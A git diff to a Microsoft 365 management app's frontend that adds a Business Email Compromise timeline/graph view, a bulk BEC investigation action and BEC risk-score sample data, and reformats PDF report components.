--- /dev/null +++ b/frontend/src/components/CippComponents/CippBecTimelineEvaluator.jsx @@ -0,0 +1,67 @@ +import { useState } from 'react' +import { + Box, + Stack, + ToggleButton, + ToggleButtonGroup, + Typography, +} from '@mui/material' +import { CippBecTimelineCustom } from './CippBecTimelineCustom' +import { CippBecCorrelationGraph } from './CippBecCorrelationGraph' + +const VERSIONS = [ + { key: 'timeline', label: 'Timeline' }, + { key: 'graph', label: 'Correlation graph' }, +] + +// Two takes on the same correlated events: a compact vertical timeline, and a non-linear graph that +// groups events by the source they came from and the accounts they reached. Both render natively and +// follow the app theme; the toggle just swaps which one shows. +export const CippBecTimelineEvaluator = ({ + becData, + windowDays = 7, + userData, +}) => { + const [version, setVersion] = useState('timeline') + return ( + + + + The same correlated events as a dense timeline, or as a graph grouped + by attacker source and the accounts it reached. + + value && setVersion(value)} + > + {VERSIONS.map((option) => ( + + {option.label} + + ))} + + + {version === 'timeline' && ( + + )} + {version === 'graph' && ( + + )} + + ) +} + +export default CippBecTimelineEvaluator diff --git a/frontend/src/components/CippComponents/CippExchangeActions.jsx b/frontend/src/components/CippComponents/CippExchangeActions.jsx index b63adc5712..66309a95e8 100644 --- a/frontend/src/components/CippComponents/CippExchangeActions.jsx +++ b/frontend/src/components/CippComponents/CippExchangeActions.jsx @@ -134,7 +134,7 @@ export const CippExchangeActions = () => { }, { label: "Research Compromised Account", - link: "/identity/administration/users/user/bec?userId=[ExternalDirectoryObjectId]", + link: "/identity/bec/case?userId=[ExternalDirectoryObjectId]", color: "info", icon: , }, diff --git a/frontend/src/components/CippComponents/CippUserActions.jsx b/frontend/src/components/CippComponents/CippUserActions.jsx index 09316ed884..ed18209353 100644 --- a/frontend/src/components/CippComponents/CippUserActions.jsx +++ b/frontend/src/components/CippComponents/CippUserActions.jsx @@ -589,11 +589,25 @@ export const useCippUserActions = () => { label: 'Research Compromised Account', type: 'GET', icon: , - link: '/identity/administration/users/user/bec?userId=[id]', + link: '/identity/bec/case?userId=[id]', confirmText: 'Are you sure you want to research if [userPrincipalName] is a compromised account?', multiPost: false, }, + { + // Queues one BEC run per selected user (bulk-capable); results land on + // the BEC Reports page + label: 'Run BEC investigation', + type: 'POST', + url: '/api/ExecBECBulkCheck', + icon: , + data: { UserIds: 'id' }, + multiPost: true, + bulkFilterEligible: true, + confirmText: + 'Queue a Business Email Compromise investigation for the selected users? Each run is kept; see the Business Email Compromise page under Identity.', + condition: (row) => row.userType !== 'Guest', + }, { //tested label: 'Create Temporary Access Pass', diff --git a/frontend/src/components/CippPdf/previewSampleData.js b/frontend/src/components/CippPdf/previewSampleData.js index 205bf5afdc..0e34c495b0 100644 --- a/frontend/src/components/CippPdf/previewSampleData.js +++ b/frontend/src/components/CippPdf/previewSampleData.js @@ -22,7 +22,12 @@ export const SAMPLE_TENANT_NAME = 'Contoso (sample data)' /** Executive report — user counts, secure score history, licences, devices, CA policies. */ export const SAMPLE_EXECUTIVE = { - userStats: { licensedUsers: 128, unlicensedUsers: 12, guests: 9, globalAdmins: 3 }, + userStats: { + licensedUsers: 128, + unlicensedUsers: 12, + guests: 9, + globalAdmins: 3, + }, secureScoreData: { isSuccess: true, translatedData: { currentScore: 61, maxScore: 100, percentageCurrent: 61 }, @@ -44,9 +49,24 @@ export const SAMPLE_EXECUTIVE = { // (`skuPartNumber`, `consumedUnits`) and every cell fell through to its 'N/A' fallback, so the // preview showed an empty-looking table while the real report showed data. licensingData: [ - { License: 'Microsoft 365 E3', CountUsed: 88, CountAvailable: 12, TotalLicenses: 100 }, - { License: 'Exchange Online (Plan 1)', CountUsed: 27, CountAvailable: 3, TotalLicenses: 30 }, - { License: 'Microsoft Defender for Office 365', CountUsed: 64, CountAvailable: 36, TotalLicenses: 100 }, + { + License: 'Microsoft 365 E3', + CountUsed: 88, + CountAvailable: 12, + TotalLicenses: 100, + }, + { + License: 'Exchange Online (Plan 1)', + CountUsed: 27, + CountAvailable: 3, + TotalLicenses: 30, + }, + { + License: 'Microsoft Defender for Office 365', + CountUsed: 64, + CountAvailable: 36, + TotalLicenses: 100, + }, ], // A plain array, matching `deviceData?.data?.Results` in the real report — the wrapper the sample // used to carry meant `Array.isArray` failed and the whole Device Management section was skipped. @@ -119,12 +139,27 @@ export const SAMPLE_EXECUTIVE = { tenantFilter: 'contoso.com', alignedCount: 42, currentDeviations: [ - { standardName: 'standards.AntiPhishPolicy', receivedValue: 'Disabled' }, - { standardName: 'standards.SafeLinksPolicy', receivedValue: 'Disabled' }, + { + standardName: 'standards.AntiPhishPolicy', + receivedValue: 'Disabled', + }, + { + standardName: 'standards.SafeLinksPolicy', + receivedValue: 'Disabled', + }, + ], + acceptedDeviations: [ + { standardName: 'standards.AuditLog', receivedValue: 'Custom' }, + ], + deniedDeviations: [ + { + standardName: 'standards.DisableBasicAuth', + receivedValue: 'Enabled', + }, + ], + customerSpecificDeviations: [ + { standardName: 'standards.Guests', receivedValue: 'Allowed' }, ], - acceptedDeviations: [{ standardName: 'standards.AuditLog', receivedValue: 'Custom' }], - deniedDeviations: [{ standardName: 'standards.DisableBasicAuth', receivedValue: 'Enabled' }], - customerSpecificDeviations: [{ standardName: 'standards.Guests', receivedValue: 'Allowed' }], }, ], // Drives two things: the Security Standards page, and the Applied Standards section of the drift @@ -139,11 +174,19 @@ export const SAMPLE_EXECUTIVE = { tenantFilter: 'contoso.com', 'standards.AntiPhishPolicy': { Value: true }, 'standards.SafeLinksPolicy': { Value: true }, - 'standards.AuditLog': { CurrentValue: 'Enabled', ExpectedValue: 'Enabled' }, + 'standards.AuditLog': { + CurrentValue: 'Enabled', + ExpectedValue: 'Enabled', + }, 'standards.Guests': { CurrentValue: 'Allowed', ExpectedValue: 'Blocked' }, 'standards.PasswordExpireDisabled': { Value: true }, - 'standards.DisableBasicAuth': { CurrentValue: 'Partial', ExpectedValue: 'Disabled' }, - 'standards.IntuneTemplate.8f2a1c4e-6b3d-4f5a-9e7c-1d2b3a4c5e6f': { Value: true }, + 'standards.DisableBasicAuth': { + CurrentValue: 'Partial', + ExpectedValue: 'Disabled', + }, + 'standards.IntuneTemplate.8f2a1c4e-6b3d-4f5a-9e7c-1d2b3a4c5e6f': { + Value: true, + }, }, ], standardTemplatesData: [ @@ -276,7 +319,8 @@ export const SAMPLE_REPORT_BUILDER_BLOCKS = [ title: 'Raw Response', static: true, format: 'json', - content: '{\n "tenant": "contoso.com",\n "policies": 191,\n "enabled": 5\n}', + content: + '{\n "tenant": "contoso.com",\n "policies": 191,\n "enabled": 5\n}', }, ] @@ -303,9 +347,27 @@ export const SAMPLE_SHADOW_AI = { { risk: 'Informational', tools: 2 }, ], topTools: [ - { tool: 'Sample AI Assistant', category: 'Chat', status: 'Unsanctioned', devices: 22, users: 18 }, - { tool: 'Sample Code Helper', category: 'Development', status: 'Unsanctioned', devices: 14, users: 9 }, - { tool: 'Sample Notetaker', category: 'Meetings', status: 'Sanctioned', devices: 11, users: 24 }, + { + tool: 'Sample AI Assistant', + category: 'Chat', + status: 'Unsanctioned', + devices: 22, + users: 18, + }, + { + tool: 'Sample Code Helper', + category: 'Development', + status: 'Unsanctioned', + devices: 14, + users: 9, + }, + { + tool: 'Sample Notetaker', + category: 'Meetings', + status: 'Sanctioned', + devices: 11, + users: 24, + }, ], detectedApps: [ { @@ -365,15 +427,85 @@ export const SAMPLE_SHADOW_AI = { /** BEC remediation report. Field shapes mirror the real Push-BECRun payload so the preview * renders every report section with plausible values rather than 'Unknown' placeholders. */ export const SAMPLE_BEC = { - userData: { displayName: 'Sample User', userPrincipalName: 'sample.user@example.com' }, + userData: { + displayName: 'Sample User', + userPrincipalName: 'sample.user@example.com', + }, becData: { ExtractedAt: '2026-08-05T09:00:00Z', ExtractResult: 'Successfully extracted logs from auditlog', AnalysisWindowDays: 7, + CaseId: 'BEC-20260805090000-a1b2c3', + Scope: 'Quick', + ContentPolicy: 'metadata-only', + // Server-side score: the report prefers this over its own calculation when present + Score: { + Value: 19, + Level: 'High', + Thresholds: { High: 7, Medium: 4 }, + Breakdown: [ + { + Signal: 'NewRules', + Description: 'Inbox rules exist on the mailbox', + Weight: 3, + Count: 1, + Applied: true, + }, + { + Signal: 'InboxRuleChanges', + Description: + 'Inbox rules were created, changed or removed in the window', + Weight: 3, + Count: 1, + Applied: true, + }, + { + Signal: 'SuspiciousRules', + Description: 'An inbox rule moves mail to a RSS folder', + Weight: 5, + Count: 1, + Applied: true, + }, + { + Signal: 'MaliciousApps', + Description: 'Applications match the known-malicious catalog', + Weight: 5, + Count: 1, + Applied: true, + }, + { + Signal: 'ForeignActivity', + Description: + 'Rule, safelist, sharing or mail activity from outside the usage location', + Weight: 3, + Count: 2, + Applied: true, + }, + { + Signal: 'AnonymousLinks', + Description: 'Anonymous sharing links were created or changed', + Weight: 3, + Count: 0, + Applied: false, + }, + ], + Version: 2, + }, + Completeness: { + AuditLog: { Complete: true, Cap: null, Error: null, Count: 2 }, + SignIns: { Complete: true, Cap: null, Error: null, Count: 3 }, + SentMessages: { + Complete: false, + Cap: '5 pages of 5000 rows', + Error: null, + Count: 25000, + }, + }, NewRules: [ { Name: 'Sample forwarding rule', - Description: 'Move messages from billing@example.com to folder RSS Feeds', + Description: + 'Move messages from billing@example.com to folder RSS Feeds', MoveToFolder: 'RSS Feeds', RecentlyChanged: true, }, @@ -467,7 +599,8 @@ export const SAMPLE_BEC = { }, MFADevices: [ { - '@odata.type': '#microsoft.graph.microsoftAuthenticatorAuthenticationMethod', + '@odata.type': + '#microsoft.graph.microsoftAuthenticatorAuthenticationMethod', displayName: 'Sample phone', createdDateTime: '2026-08-03T12:00:00Z', }, @@ -501,7 +634,8 @@ export const SAMPLE_BEC = { Date: '2026-08-04T10:15:00Z', Workload: 'OneDrive', FileName: 'Payroll Q3.xlsx', - ItemUrl: 'https://example-my.sharepoint.com/personal/sample_user/Documents/Payroll Q3.xlsx', + ItemUrl: + 'https://example-my.sharepoint.com/personal/sample_user/Documents/Payroll Q3.xlsx', Target: null, TargetType: null, ClientIP: '203.0.113.10', diff --git a/frontend/src/components/CippPdf/reportPdfPrimitives.jsx b/frontend/src/components/CippPdf/reportPdfPrimitives.jsx index 9404989753..e4450b681e 100644 --- a/frontend/src/components/CippPdf/reportPdfPrimitives.jsx +++ b/frontend/src/components/CippPdf/reportPdfPrimitives.jsx @@ -1,8 +1,16 @@ import { Children } from 'react' import { Text, View, Image, Page } from '@react-pdf/renderer' -import { REPORT_COLOURS, applyFooterText, applyWatermarkText } from './reportTheme' +import { + REPORT_COLOURS, + applyFooterText, + applyWatermarkText, +} from './reportTheme' import { useReport, useReportStyles } from './reportContext' -import { DEFAULT_PAGE_SETUP, TABLE_ROW_PADDING, contentWidth } from './reportPdfStyles' +import { + DEFAULT_PAGE_SETUP, + TABLE_ROW_PADDING, + contentWidth, +} from './reportPdfStyles' import { wrapLongTokens } from './measureText' // Breathing room between one column's text and the next, matching the `paddingRight` tableColumns @@ -23,7 +31,9 @@ export const PageHeader = ({ title, subtitle, ...props }) => { {title} {subtitle ? {subtitle} : null} - {logo ? : null} + {logo ? ( + + ) : null} ) } @@ -38,7 +48,13 @@ export const Section = ({ title, children, ...props }) => { const { styles } = useReportStyles(props) return ( - {title ? {title} : null} + {/* minPresenceAhead pushes the title to the next page when too little room is left below it, + so a section heading never strands alone at the foot of a page ahead of its content. */} + {title ? ( + + {title} + + ) : null} {children} ) @@ -49,7 +65,11 @@ export const Section = ({ title, children, ...props }) => { // list, which the BEC report was doing with an inline margin. export const Paragraph = ({ indent = false, children, ...props }) => { const { styles } = useReportStyles(props) - return {children} + return ( + + {children} + + ) } /** @@ -100,17 +120,32 @@ export const ContentPage = ({ title, subtitle, children, ...props }) => { const footerLabel = props.footerLabel ?? report.footerLabel return ( - + {/* `fixed` repeats the header on every physical page this one flows onto. Without it, a page whose content spills produces an unheaded continuation — which is what the report builder had to work around by wrapping its own header. */} {title ? ( - + ) : null} {children} - + ) } @@ -146,7 +181,9 @@ export const PageFooter = ({ styles, label, theme, variables }) => { without it the number lays out but is never painted. */ `Page ${pageNumber} of ${totalPages}`} + render={({ pageNumber, totalPages }) => + `Page ${pageNumber} of ${totalPages}` + } /> ) : null} @@ -183,10 +220,17 @@ export const ReportPage = ({ * stores a template (e.g. `%tenantname%`), and the report fills it from the surrounding context. * The 40-character ceiling is applied to the *resolved* string, after variables expand. */ -export const Watermark = ({ styles, theme, text, variables: variablesProp, onDark = false }) => { +export const Watermark = ({ + styles, + theme, + text, + variables: variablesProp, + onDark = false, +}) => { const report = useReport() const variables = variablesProp ?? report.variables - const template = text ?? (theme?.watermark?.enabled ? theme.watermark.text : '') + const template = + text ?? (theme?.watermark?.enabled ? theme.watermark.text : '') const value = template ? applyWatermarkText(template, variables) : '' if (!value) return null @@ -194,7 +238,9 @@ export const Watermark = ({ styles, theme, text, variables: variablesProp, onDar {/* A brand-coloured mark at 8% disappears on the dark full-bleed pages, so those get a light mark instead. Same text, same placement — only the ink changes. */} - {value} + + {value} + ) } @@ -205,7 +251,10 @@ export const Watermark = ({ styles, theme, text, variables: variablesProp, onDar * alone, which loses the contrast the two-tone treatment exists for. */ export const splitAccentTitle = (title) => { - const words = String(title ?? '').trim().split(/\s+/).filter(Boolean) + const words = String(title ?? '') + .trim() + .split(/\s+/) + .filter(Boolean) if (words.length <= 1) return { lead: words.join(' '), accent: '' } return { lead: words.slice(0, -1).join(' '), accent: words[words.length - 1] } } @@ -240,7 +289,9 @@ export const CoverPage = ({ size={size} orientation={orientation} > - {coverImage ? : null} + {coverImage ? ( + + ) : null} @@ -251,7 +302,13 @@ export const CoverPage = ({ {label ? {label} : null} - + {title} {accentTitle ? ( <> @@ -316,25 +373,33 @@ export const HeroPage = ({ const orientation = props.orientation ?? report.orientation ?? 'portrait' return ( - - {backgroundImage ? : null} - - {/* `overtitle` and `headline` bracket the big figure, so a statistic can read as a sentence + + {backgroundImage ? ( + + ) : null} + + {/* `overtitle` and `headline` bracket the big figure, so a statistic can read as a sentence — "Every / 39 / seconds" — rather than a number with a caption under it. */} - {overtitle ? {overtitle} : null} - {highlight ? {highlight} : null} - {headline ? {headline} : null} - {subText ? {subText} : null} - - {footerText ? {footerText} : null} - + {overtitle ? ( + {overtitle} + ) : null} + {highlight ? ( + {highlight} + ) : null} + {headline ? {headline} : null} + {subText ? {subText} : null} + + {footerText ? ( + {footerText} + ) : null} + ) } @@ -342,17 +407,24 @@ export const HeroPage = ({ export const StatRow = ({ stats, ...props }) => { const { styles } = useReportStyles(props) return ( - - {stats.map((stat, index) => ( - - - {stat.value} - - {stat.label} - {stat.caption ? {stat.caption} : null} - - ))} - + + {stats.map((stat, index) => ( + + + {stat.value} + + {stat.label} + {stat.caption ? ( + {stat.caption} + ) : null} + + ))} + ) } @@ -364,32 +436,37 @@ export const StatRow = ({ stats, ...props }) => { export const ProgressList = ({ items, ...props }) => { const { styles, theme } = useReportStyles(props) return ( - - {items.map((item, index) => { - const max = Number(item.max) > 0 ? Number(item.max) : 100 - const value = Number(item.value) || 0 - const percent = Math.max(0, Math.min(100, (value / max) * 100)) - const colour = item.colour || theme?.series?.[index % (theme?.series?.length || 1)] - - return ( - - {item.label} - - + + {items.map((item, index) => { + const max = Number(item.max) > 0 ? Number(item.max) : 100 + const value = Number(item.value) || 0 + const percent = Math.max(0, Math.min(100, (value / max) * 100)) + const colour = + item.colour || theme?.series?.[index % (theme?.series?.length || 1)] + + return ( + + {item.label} + + + + + {item.display ?? `${Math.round(percent)}%`} + - - {item.display ?? `${Math.round(percent)}%`} - - - ) - })} - + ) + })} + ) } @@ -404,25 +481,44 @@ export const ProgressList = ({ items, ...props }) => { export const INFO_TONES = { ok: 'okBox', warn: 'warnBox' } const INFO_TONE_TITLES = { ok: 'okTitle', warn: 'warnTitle' } -export const InfoBox = ({ title, colour, tone, tintTitle = false, children, ...props }) => { +export const InfoBox = ({ + title, + colour, + tone, + tintTitle = false, + children, + ...props +}) => { const { styles } = useReportStyles(props) const toneStyle = INFO_TONES[tone] ? styles[INFO_TONES[tone]] : null - const toneTitle = INFO_TONE_TITLES[tone] ? styles[INFO_TONE_TITLES[tone]] : null + const toneTitle = INFO_TONE_TITLES[tone] + ? styles[INFO_TONE_TITLES[tone]] + : null return ( - - {title ? ( - - {title} - - ) : null} - {children} - + // wrap={false}: a callout is one card. Splitting it across a page break (title on one page, body on + // the next) is the artefact we avoid — react-pdf bumps a non-wrapping block that does not fit to the + // next page instead. Callouts are short by design, so they never exceed a page and get clipped. + + {title ? ( + + {title} + + ) : null} + {children} + ) } @@ -438,10 +534,15 @@ export const Note = ({ children, ...props }) => { export const AlertBox = ({ title, colour, children, ...props }) => { const { styles } = useReportStyles(props) return ( - - {title} - {children} - + + + {title} + + {children} + ) } @@ -449,10 +550,10 @@ export const AlertBox = ({ title, colour, children, ...props }) => { export const ClearBox = ({ title, children, ...props }) => { const { styles } = useReportStyles(props) return ( - - {title} - {children} - + + {title} + {children} + ) } @@ -480,15 +581,20 @@ export const Bullet = ({ label, marker = '•', children, ...props }) => { export const BulletList = ({ items, children, ...props }) => { const { styles } = useReportStyles(props) return ( - - {items - ? items.map((item, index) => ( - - {item.text} - - )) - : children} - + + {items + ? items.map((item, index) => ( + + {item.text} + + )) + : children} + ) } @@ -554,16 +660,26 @@ export const DataTable = ({ // has to be a real one that we place — see measureText.js. const totalWeight = weights.reduce((sum, weight) => sum + weight, 0) || 1 const tableWidth = - contentWidth(report.size ?? DEFAULT_PAGE_SETUP.size, report.orientation) - TABLE_ROW_PADDING * 2 + contentWidth(report.size ?? DEFAULT_PAGE_SETUP.size, report.orientation) - + TABLE_ROW_PADDING * 2 const columnPoints = (index) => (tableWidth * weights[index]) / totalWeight - CELL_GUTTER const cellText = (value, index, bold) => - wrapLongTokens(value ?? '', columnPoints(index), styles.tableCell.fontSize, bold) + wrapLongTokens( + value ?? '', + columnPoints(index), + styles.tableCell.fontSize, + bold + ) return ( <> - 0 ? [styles.table, styles.tableAboveNote] : styles.table}> +